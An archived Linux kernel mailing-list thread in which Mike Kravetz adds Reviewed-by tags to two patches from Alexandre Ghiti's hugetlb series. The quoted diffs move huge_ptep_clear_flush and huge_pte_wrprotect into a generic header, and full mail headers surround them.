Newsgroups: gmane.linux.ports.arm.kernel,gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v4 05/11] hugetlb: Introduce generic version of
 huge_ptep_clear_flush
Date: Thu, 26 Jul 2018 12:03:25 -0700
Lines: 160
Approved: news@gmane.org
Message-ID: <fa83effc-c848-59fc-e941-179ee7686b22@oracle.com>
References: <20180705110716.3919-1-alex@ghiti.fr>
 <20180705110716.3919-6-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1532631745 21574 195.159.176.226 (26 Jul 2018 19:02:25 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 26 Jul 2018 19:02:25 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.9.1
To: Alexandre Ghiti <alex@ghiti.fr>, linux@armlinux.org.uk,
 catalin.marinas@arm.com, will.deacon@arm.com, tony.luck@intel.com,
 fenghua.yu@intel.com, ralf@linux-mips.org, paul.burton@mips.com,
 jhogan@kernel.org, jejb@parisc-linux.org, deller@gmx.de,
 benh@kernel.crashing.org, paulus@samba.org, mpe@ellerman.id.au,
 ysato@users.sourceforge.jp, dalias@libc.org, davem@davemloft.net,
 tglx@linutronix.de, mingo@redhat.com, hpa@zytor.com, x86@kernel.org,
 arnd@arndb.de, linux-arm-kernel@lists.infradead.org,
 linux-kernel@vger.kernel.org, linux-ia64@vger.kernel.org,
 linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
 linuxppc-dev@lists.ozlabs.org, linux-sh@vger.kernel.org,
 sparclinux@vger.kernel.org, linux-arch@vger.kernel.org
Original-X-From: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org Thu Jul 26 21:02:18 2018
Return-path: <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>
Envelope-to: linux-arm-kernel@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>)
	id 1filWi-0005Oc-Gn
	for linux-arm-kernel@m.gmane.org; Thu, 26 Jul 2018 21:02:16 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:Date:
	Message-ID:From:References:To:Subject:Reply-To:Cc:Content-ID:
	Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc
	:Resent-Message-ID:List-Owner;
	bh=U6gwEwQpkjUqdwj375Q3Xj1OBPNtsrHM8uKDjSNY2wI=; b=FWKEo7JCqC/9oNu/7jISalmxI6
	wBN1QY3DjRjel1XDX7kEm3zOOFSndH0dU0ksqPMGUM4sgmXvB0vp9jJHOrrZY5t/J3Q13aDB5uFnJ
	ehE8to/c5ebLRV0P3fTiNu1GA/F7usGvvuSUVeoXPCvrkXI0UiDQewEVvv2QvdiGkqX1HFJOczTd6
	9NnO/tRrR4kLJ4GXnUr817NOXbkrKskMT2OtCASh9BrFatKPdJ/Jb7+oSgopHwd+3cfuRqOPQMqY5
	61O8dJ11Q1hRO0hN9AvfVmeUxSNV22Dly1F7OHhgt3QJeUcdtIQIrEs4xUiM01JU1UBOX8oz/G7AD
	kpJdLDRw==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1filYm-0000DF-PB; Thu, 26 Jul 2018 19:04:24 +0000
Original-Received: from userp2130.oracle.com ([156.151.31.86])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1filYi-0000AT-FG
 for linux-arm-kernel@lists.infradead.org; Thu, 26 Jul 2018 19:04:22 +0000
Original-Received: from pps.filterd (userp2130.oracle.com [127.0.0.1])
 by userp2130.oracle.com (8.16.0.22/8.16.0.22) with SMTP id w6QIwc04101605;
 Thu, 26 Jul 2018 19:03:35 GMT
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=oracle.com;
 h=subject : to :
 references : from : message-id : date : mime-version : in-reply-to :
 content-type : content-transfer-encoding; s=corp-2018-07-02;
 bh=XaCKTGgknQiyIleu3JBnhY19yJEG6ouT4JpwQs99P8E=;
 b=xn5xaqFWXTTFBCOqKCk+67RwmxdfyPE6yhSThjjdplOGjW7uzF+J0dv5vqSagM2PjJoT
 qq5p/XGXheMbz/r2XVbnYHRks4ng90s8XJZJEZPNhGfCb42QPRfbVCeCkU/pXZ08xcqT
 ehvr/jI8QGgXL+Uk8UoRzq2qKtSljDAeG1lBen0GYk9qirz3kwSfKfA9+qqybL4U8iml
 IdBquapmXxaP3gMeLwwjsOa+586wKeKwwZE2DjXNahV2yTyhg7XSZQ8PkBCL7pRWuOf2
 llOoqydgMQdFYxpJ5DCHuIRnORQLl+59P7zuO/ndaA15KVVUmxIYVYPSycZncyDaTxTR Nw== 
Original-Received: from userv0021.oracle.com (userv0021.oracle.com [156.151.31.71])
 by userp2130.oracle.com with ESMTP id 2kbv8tcfgh-1
 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
 Thu, 26 Jul 2018 19:03:35 +0000
Original-Received: from aserv0122.oracle.com (aserv0122.oracle.com [141.146.126.236])
 by userv0021.oracle.com (8.14.4/8.14.4) with ESMTP id w6QJ3Yf0026750
 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
 Thu, 26 Jul 2018 19:03:34 GMT
Original-Received: from abhmp0013.oracle.com (abhmp0013.oracle.com [141.146.116.19])
 by aserv0122.oracle.com (8.14.4/8.14.4) with ESMTP id w6QJ3TnC012231;
 Thu, 26 Jul 2018 19:03:29 GMT
Original-Received: from [192.168.1.164] (/50.38.38.67)
 by default (Oracle Beehive Gateway v4.0)
 with ESMTP ; Thu, 26 Jul 2018 12:03:28 -0700
In-Reply-To: <20180705110716.3919-6-alex@ghiti.fr>
Content-Language: en-US
X-Proofpoint-Virus-Version: vendor=nai engine=5900 definitions=8965
 signatures=668706
X-Proofpoint-Spam-Details: rule=notspam policy=default score=0 suspectscore=0
 malwarescore=0
 phishscore=0 bulkscore=0 spamscore=0 mlxscore=0 mlxlogscore=999
 adultscore=0 classifier=spam adjust=0 reason=mlx scancount=1
 engine=8.0.1-1806210000 definitions=main-1807260194
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180726_120420_642899_548E56EF 
X-CRM114-Status: GOOD (  23.46  )
X-Spam-Score: -2.4 (--)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-2.4 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -2.3 RCVD_IN_DNSWL_MED      RBL: Sender listed at http://www.dnswl.org/, medium
 trust [156.151.31.86 listed in list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 -0.0 SPF_HELO_PASS          SPF: HELO matches SPF record
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
 -0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
 domain
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
 -0.0 T_DKIMWL_WL_HIGH       DKIMwl.org - Whitelisted High sender
X-BeenThere: linux-arm-kernel@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: <linux-arm-kernel.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-arm-kernel/>
List-Post: <mailto:linux-arm-kernel@lists.infradead.org>
List-Help: <mailto:linux-arm-kernel-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-arm-kernel" <linux-arm-kernel-bounces@lists.infradead.org>
Errors-To: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.arm.kernel:666277 gmane.linux.kernel:2831683 gmane.linux.ports.ia64:28967 gmane.linux.ports.mips.general:65683 gmane.linux.ports.parisc:28829 gmane.linux.ports.ppc64.devel:160474 gmane.linux.ports.sh.devel:57264 gmane.linux.ports.sparc:28125 gmane.linux.kernel.cross-arch:45502
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.arm.kernel/666277>

On 07/05/2018 04:07 AM, Alexandre Ghiti wrote:
> arm, x86 architectures use the same version of
> huge_ptep_clear_flush, so move this generic implementation into
> asm-generic/hugetlb.h.
> 

Reviewed-by: Mike Kravetz <mike.kravetz@oracle.com>
-- 
Mike Kravetz

> Signed-off-by: Alexandre Ghiti <alex@ghiti.fr>
> ---
>  arch/arm/include/asm/hugetlb-3level.h | 6 ------
>  arch/arm64/include/asm/hugetlb.h      | 1 +
>  arch/ia64/include/asm/hugetlb.h       | 1 +
>  arch/mips/include/asm/hugetlb.h       | 1 +
>  arch/parisc/include/asm/hugetlb.h     | 1 +
>  arch/powerpc/include/asm/hugetlb.h    | 1 +
>  arch/sh/include/asm/hugetlb.h         | 1 +
>  arch/sparc/include/asm/hugetlb.h      | 1 +
>  arch/x86/include/asm/hugetlb.h        | 6 ------
>  include/asm-generic/hugetlb.h         | 8 ++++++++
>  10 files changed, 15 insertions(+), 12 deletions(-)
> 
> diff --git a/arch/arm/include/asm/hugetlb-3level.h b/arch/arm/include/asm/hugetlb-3level.h
> index ad36e84b819a..b897541520ef 100644
> --- a/arch/arm/include/asm/hugetlb-3level.h
> +++ b/arch/arm/include/asm/hugetlb-3level.h
> @@ -37,12 +37,6 @@ static inline pte_t huge_ptep_get(pte_t *ptep)
>  	return retval;
>  }
>  
> -static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
> -					 unsigned long addr, pte_t *ptep)
> -{
> -	ptep_clear_flush(vma, addr, ptep);
> -}
> -
>  static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
>  					   unsigned long addr, pte_t *ptep)
>  {
> diff --git a/arch/arm64/include/asm/hugetlb.h b/arch/arm64/include/asm/hugetlb.h
> index 6ae0bcafe162..4c8dd488554d 100644
> --- a/arch/arm64/include/asm/hugetlb.h
> +++ b/arch/arm64/include/asm/hugetlb.h
> @@ -71,6 +71,7 @@ extern pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
>  				     unsigned long addr, pte_t *ptep);
>  extern void huge_ptep_set_wrprotect(struct mm_struct *mm,
>  				    unsigned long addr, pte_t *ptep);
> +#define __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
>  extern void huge_ptep_clear_flush(struct vm_area_struct *vma,
>  				  unsigned long addr, pte_t *ptep);
>  #define __HAVE_ARCH_HUGE_PTE_CLEAR
> diff --git a/arch/ia64/include/asm/hugetlb.h b/arch/ia64/include/asm/hugetlb.h
> index 6719c74da0de..41b5f6adeee4 100644
> --- a/arch/ia64/include/asm/hugetlb.h
> +++ b/arch/ia64/include/asm/hugetlb.h
> @@ -20,6 +20,7 @@ static inline int is_hugepage_only_range(struct mm_struct *mm,
>  		REGION_NUMBER((addr)+(len)-1) == RGN_HPAGE);
>  }
>  
> +#define __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
>  static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
>  					 unsigned long addr, pte_t *ptep)
>  {
> diff --git a/arch/mips/include/asm/hugetlb.h b/arch/mips/include/asm/hugetlb.h
> index 0959cc5a41fa..7df1f116a3cc 100644
> --- a/arch/mips/include/asm/hugetlb.h
> +++ b/arch/mips/include/asm/hugetlb.h
> @@ -48,6 +48,7 @@ static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
>  	return pte;
>  }
>  
> +#define __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
>  static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
>  					 unsigned long addr, pte_t *ptep)
>  {
> diff --git a/arch/parisc/include/asm/hugetlb.h b/arch/parisc/include/asm/hugetlb.h
> index 6e281e1bb336..9afff26747a1 100644
> --- a/arch/parisc/include/asm/hugetlb.h
> +++ b/arch/parisc/include/asm/hugetlb.h
> @@ -32,6 +32,7 @@ static inline int prepare_hugepage_range(struct file *file,
>  	return 0;
>  }
>  
> +#define __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
>  static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
>  					 unsigned long addr, pte_t *ptep)
>  {
> diff --git a/arch/powerpc/include/asm/hugetlb.h b/arch/powerpc/include/asm/hugetlb.h
> index 970101cf9c82..0b02856aa85b 100644
> --- a/arch/powerpc/include/asm/hugetlb.h
> +++ b/arch/powerpc/include/asm/hugetlb.h
> @@ -143,6 +143,7 @@ static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
>  #endif
>  }
>  
> +#define __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
>  static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
>  					 unsigned long addr, pte_t *ptep)
>  {
> diff --git a/arch/sh/include/asm/hugetlb.h b/arch/sh/include/asm/hugetlb.h
> index 08ee6c00b5e9..9abf9c86b769 100644
> --- a/arch/sh/include/asm/hugetlb.h
> +++ b/arch/sh/include/asm/hugetlb.h
> @@ -25,6 +25,7 @@ static inline int prepare_hugepage_range(struct file *file,
>  	return 0;
>  }
>  
> +#define __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
>  static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
>  					 unsigned long addr, pte_t *ptep)
>  {
> diff --git a/arch/sparc/include/asm/hugetlb.h b/arch/sparc/include/asm/hugetlb.h
> index 944e3a4bfaff..651a9593fcee 100644
> --- a/arch/sparc/include/asm/hugetlb.h
> +++ b/arch/sparc/include/asm/hugetlb.h
> @@ -42,6 +42,7 @@ static inline int prepare_hugepage_range(struct file *file,
>  	return 0;
>  }
>  
> +#define __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
>  static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
>  					 unsigned long addr, pte_t *ptep)
>  {
> diff --git a/arch/x86/include/asm/hugetlb.h b/arch/x86/include/asm/hugetlb.h
> index 48b8d9b13cc6..8347d5abf882 100644
> --- a/arch/x86/include/asm/hugetlb.h
> +++ b/arch/x86/include/asm/hugetlb.h
> @@ -27,12 +27,6 @@ static inline int prepare_hugepage_range(struct file *file,
>  	return 0;
>  }
>  
> -static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
> -					 unsigned long addr, pte_t *ptep)
> -{
> -	ptep_clear_flush(vma, addr, ptep);
> -}
> -
>  static inline int huge_pte_none(pte_t pte)
>  {
>  	return pte_none(pte);
> diff --git a/include/asm-generic/hugetlb.h b/include/asm-generic/hugetlb.h
> index 0f6f151780dd..ffa63fd8388d 100644
> --- a/include/asm-generic/hugetlb.h
> +++ b/include/asm-generic/hugetlb.h
> @@ -65,4 +65,12 @@ static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
>  }
>  #endif
>  
> +#ifndef __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
> +static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
> +		unsigned long addr, pte_t *ptep)
> +{
> +	ptep_clear_flush(vma, addr, ptep);
> +}
> +#endif
> +
>  #endif /* _ASM_GENERIC_HUGETLB_H */
> 

From - Thu Nov 08 21:41:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Mike Kravetz <mike.kravetz@oracle.com>
Newsgroups: gmane.linux.ports.arm.kernel,gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v4 07/11] hugetlb: Introduce generic version of
 huge_pte_wrprotect
Date: Thu, 26 Jul 2018 12:05:17 -0700
Lines: 185
Approved: news@gmane.org
Message-ID: <8a8f0608-ff9a-04ea-7c63-2b3bb99b7966@oracle.com>
References: <20180705110716.3919-1-alex@ghiti.fr>
 <20180705110716.3919-8-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1532631848 28710 195.159.176.226 (26 Jul 2018 19:04:08 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 26 Jul 2018 19:04:08 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.9.1
To: Alexandre Ghiti <alex@ghiti.fr>, linux@armlinux.org.uk,
 catalin.marinas@arm.com, will.deacon@arm.com, tony.luck@intel.com,
 fenghua.yu@intel.com, ralf@linux-mips.org, paul.burton@mips.com,
 jhogan@kernel.org, jejb@parisc-linux.org, deller@gmx.de,
 benh@kernel.crashing.org, paulus@samba.org, mpe@ellerman.id.au,
 ysato@users.sourceforge.jp, dalias@libc.org, davem@davemloft.net,
 tglx@linutronix.de, mingo@redhat.com, hpa@zytor.com, x86@kernel.org,
 arnd@arndb.de, linux-arm-kernel@lists.infradead.org,
 linux-kernel@vger.kernel.org, linux-ia64@vger.kernel.org,
 linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
 linuxppc-dev@lists.ozlabs.org, linux-sh@vger.kernel.org,
 sparclinux@vger.kernel.org, linux-arch@vger.kernel.org
Original-X-From: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org Thu Jul 26 21:04:01 2018
Return-path: <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>
Envelope-to: linux-arm-kernel@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>)
	id 1filYP-0007HF-45
	for linux-arm-kernel@m.gmane.org; Thu, 26 Jul 2018 21:04:01 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:Date:
	Message-ID:From:References:To:Subject:Reply-To:Cc:Content-ID:
	Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc
	:Resent-Message-ID:List-Owner;
	bh=f8JcFkGUNlok9j+WtHfWgeTVWFaIuI5hG2HW+cB2B2I=; b=ZNm3qFmYVBYyxm8c2qozps/NPm
	kZyHRZJJ16+vAnghtQvEmlrW+YdegPTAJDYZgPedEhnxicxKBSzjK7PZl3GzUetUWiz5GEstyNVhq
	KmW+EZcoNP+TAu8cxvv5iWJS6NCe66taf705BuvizyNSgTpRpSGM8wK3MemF4spinQc+bBFg9rDOd
	w5Q1s2y23EDFO85lL3Pi9UnJpIeRlCP42z229+SQWG0l+L7MJ+FlEMcIDQT8jpen/RCZc5i3ioDaN
	yad7vJgqXlQ+F5YprMimwJxSDK8tZVDTiJ/hR25zyq3hJ7B56pT+L0kP/SxAEZTIZCtbbyqbLMpZj
	EX8DbUKA==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1filaU-0001zB-92; Thu, 26 Jul 2018 19:06:10 +0000
Original-Received: from aserp2120.oracle.com ([141.146.126.78])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1filaQ-0001xS-EO
 for linux-arm-kernel@lists.infradead.org; Thu, 26 Jul 2018 19:06:08 +0000
Original-Received: from pps.filterd (aserp2120.oracle.com [127.0.0.1])
 by aserp2120.oracle.com (8.16.0.22/8.16.0.22) with SMTP id w6QJ4TeV136048;
 Thu, 26 Jul 2018 19:05:22 GMT
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=oracle.com;
 h=subject : to :
 references : from : message-id : date : mime-version : in-reply-to :
 content-type : content-transfer-encoding; s=corp-2018-07-02;
 bh=4z6sLJkrwTPQZVbBwChhC1ZXxPtsDYiNFUsAq+NTYpA=;
 b=WSR9n950l0L1ep8QLpRYiBlRMNdBapW+PE2YX5I1qgL/rDlN/WO5TvCyWxdpwOf6W4Bh
 JBIR2HMcbWsHAH4ihXsR2P0bKQfzAhuShZ8180NMscEpeXJCx2iZ2rZ2ZihvOUsmNNb/
 RlCTenIHaExFu4TGbnHV1ldjURWl2deK61yfQ2cJFJKkeI05fTyOxaCwlsik3EN24fHJ
 JUJ17EbCIHvDDOvcFihmrhPgVRl/Qwo7dC5sPiOPbfhu8IiKMZ8jUmm4U1E1Nzh8lK9G
 NWqx3Xi+h/xpAgru1Cy32hsnFuqAsBljqJ9crEccjIvR5w9iktC5zLOXcHyYJNK1TyJL EQ== 
Original-Received: from aserv0021.oracle.com (aserv0021.oracle.com [141.146.126.233])
 by aserp2120.oracle.com with ESMTP id 2kbvsp4egs-1
 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
 Thu, 26 Jul 2018 19:05:21 +0000
Original-Received: from aserv0121.oracle.com (aserv0121.oracle.com [141.146.126.235])
 by aserv0021.oracle.com (8.14.4/8.14.4) with ESMTP id w6QJ5KRj029365
 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
 Thu, 26 Jul 2018 19:05:21 GMT
Original-Received: from abhmp0011.oracle.com (abhmp0011.oracle.com [141.146.116.17])
 by aserv0121.oracle.com (8.14.4/8.13.8) with ESMTP id w6QJ5Kkn008761;
 Thu, 26 Jul 2018 19:05:20 GMT
Original-Received: from [192.168.1.164] (/50.38.38.67)
 by default (Oracle Beehive Gateway v4.0)
 with ESMTP ; Thu, 26 Jul 2018 12:05:19 -0700
In-Reply-To: <20180705110716.3919-8-alex@ghiti.fr>
Content-Language: en-US
X-Proofpoint-Virus-Version: vendor=nai engine=5900 definitions=8965
 signatures=668706
X-Proofpoint-Spam-Details: rule=notspam policy=default score=0 suspectscore=0
 malwarescore=0
 phishscore=0 bulkscore=0 spamscore=0 mlxscore=0 mlxlogscore=894
 adultscore=0 classifier=spam adjust=0 reason=mlx scancount=1
 engine=8.0.1-1806210000 definitions=main-1807260195
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180726_120606_665022_15364C48 
X-CRM114-Status: GOOD (  21.57  )
X-Spam-Score: -2.4 (--)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-2.4 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -2.3 RCVD_IN_DNSWL_MED      RBL: Sender listed at http://www.dnswl.org/, medium
 trust [141.146.126.78 listed in list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 -0.0 SPF_HELO_PASS          SPF: HELO matches SPF record
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
 -0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
 domain
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
 -0.0 T_DKIMWL_WL_HIGH       DKIMwl.org - Whitelisted High sender
X-BeenThere: linux-arm-kernel@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: <linux-arm-kernel.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-arm-kernel/>
List-Post: <mailto:linux-arm-kernel@lists.infradead.org>
List-Help: <mailto:linux-arm-kernel-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-arm-kernel" <linux-arm-kernel-bounces@lists.infradead.org>
Errors-To: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.arm.kernel:666278 gmane.linux.kernel:2831684 gmane.linux.ports.ia64:28968 gmane.linux.ports.mips.general:65684 gmane.linux.ports.parisc:28830 gmane.linux.ports.ppc64.devel:160475 gmane.linux.ports.sh.devel:57265 gmane.linux.ports.sparc:28126 gmane.linux.kernel.cross-arch:45503
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.arm.kernel/666278>

On 07/05/2018 04:07 AM, Alexandre Ghiti wrote:
> arm, arm64, ia64, mips, parisc, powerpc, sh, sparc, x86
> architectures use the same version of huge_pte_wrprotect, so move
> this generic implementation into asm-generic/hugetlb.h.
> 

Reviewed-by: Mike Kravetz <mike.kravetz@oracle.com>
-- 
Mike Kravetz

> Signed-off-by: Alexandre Ghiti <alex@ghiti.fr>
> ---
>  arch/arm/include/asm/hugetlb.h     | 5 -----
>  arch/arm64/include/asm/hugetlb.h   | 5 -----
>  arch/ia64/include/asm/hugetlb.h    | 5 -----
>  arch/mips/include/asm/hugetlb.h    | 5 -----
>  arch/parisc/include/asm/hugetlb.h  | 5 -----
>  arch/powerpc/include/asm/hugetlb.h | 5 -----
>  arch/sh/include/asm/hugetlb.h      | 5 -----
>  arch/sparc/include/asm/hugetlb.h   | 5 -----
>  arch/x86/include/asm/hugetlb.h     | 5 -----
>  include/asm-generic/hugetlb.h      | 7 +++++++
>  10 files changed, 7 insertions(+), 45 deletions(-)
> 
> diff --git a/arch/arm/include/asm/hugetlb.h b/arch/arm/include/asm/hugetlb.h
> index 3d2ce4dbc145..1e718a626ef9 100644
> --- a/arch/arm/include/asm/hugetlb.h
> +++ b/arch/arm/include/asm/hugetlb.h
> @@ -43,11 +43,6 @@ static inline int prepare_hugepage_range(struct file *file,
>  	return 0;
>  }
>  
> -static inline pte_t huge_pte_wrprotect(pte_t pte)
> -{
> -	return pte_wrprotect(pte);
> -}
> -
>  static inline void arch_clear_hugepage_flags(struct page *page)
>  {
>  	clear_bit(PG_dcache_clean, &page->flags);
> diff --git a/arch/arm64/include/asm/hugetlb.h b/arch/arm64/include/asm/hugetlb.h
> index 49247c6f94db..1fd64ebf0cd7 100644
> --- a/arch/arm64/include/asm/hugetlb.h
> +++ b/arch/arm64/include/asm/hugetlb.h
> @@ -42,11 +42,6 @@ static inline int prepare_hugepage_range(struct file *file,
>  	return 0;
>  }
>  
> -static inline pte_t huge_pte_wrprotect(pte_t pte)
> -{
> -	return pte_wrprotect(pte);
> -}
> -
>  static inline void arch_clear_hugepage_flags(struct page *page)
>  {
>  	clear_bit(PG_dcache_clean, &page->flags);
> diff --git a/arch/ia64/include/asm/hugetlb.h b/arch/ia64/include/asm/hugetlb.h
> index bf573500b3c4..82fe3d7a38d9 100644
> --- a/arch/ia64/include/asm/hugetlb.h
> +++ b/arch/ia64/include/asm/hugetlb.h
> @@ -26,11 +26,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
>  {
>  }
>  
> -static inline pte_t huge_pte_wrprotect(pte_t pte)
> -{
> -	return pte_wrprotect(pte);
> -}
> -
>  static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
>  					   unsigned long addr, pte_t *ptep)
>  {
> diff --git a/arch/mips/include/asm/hugetlb.h b/arch/mips/include/asm/hugetlb.h
> index 1c9c4531376c..b3d6bb53ee6e 100644
> --- a/arch/mips/include/asm/hugetlb.h
> +++ b/arch/mips/include/asm/hugetlb.h
> @@ -62,11 +62,6 @@ static inline int huge_pte_none(pte_t pte)
>  	return !val || (val == (unsigned long)invalid_pte_table);
>  }
>  
> -static inline pte_t huge_pte_wrprotect(pte_t pte)
> -{
> -	return pte_wrprotect(pte);
> -}
> -
>  static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
>  					   unsigned long addr, pte_t *ptep)
>  {
> diff --git a/arch/parisc/include/asm/hugetlb.h b/arch/parisc/include/asm/hugetlb.h
> index c09d8c74553c..5a102d7251e4 100644
> --- a/arch/parisc/include/asm/hugetlb.h
> +++ b/arch/parisc/include/asm/hugetlb.h
> @@ -38,11 +38,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
>  {
>  }
>  
> -static inline pte_t huge_pte_wrprotect(pte_t pte)
> -{
> -	return pte_wrprotect(pte);
> -}
> -
>  void huge_ptep_set_wrprotect(struct mm_struct *mm,
>  					   unsigned long addr, pte_t *ptep);
>  
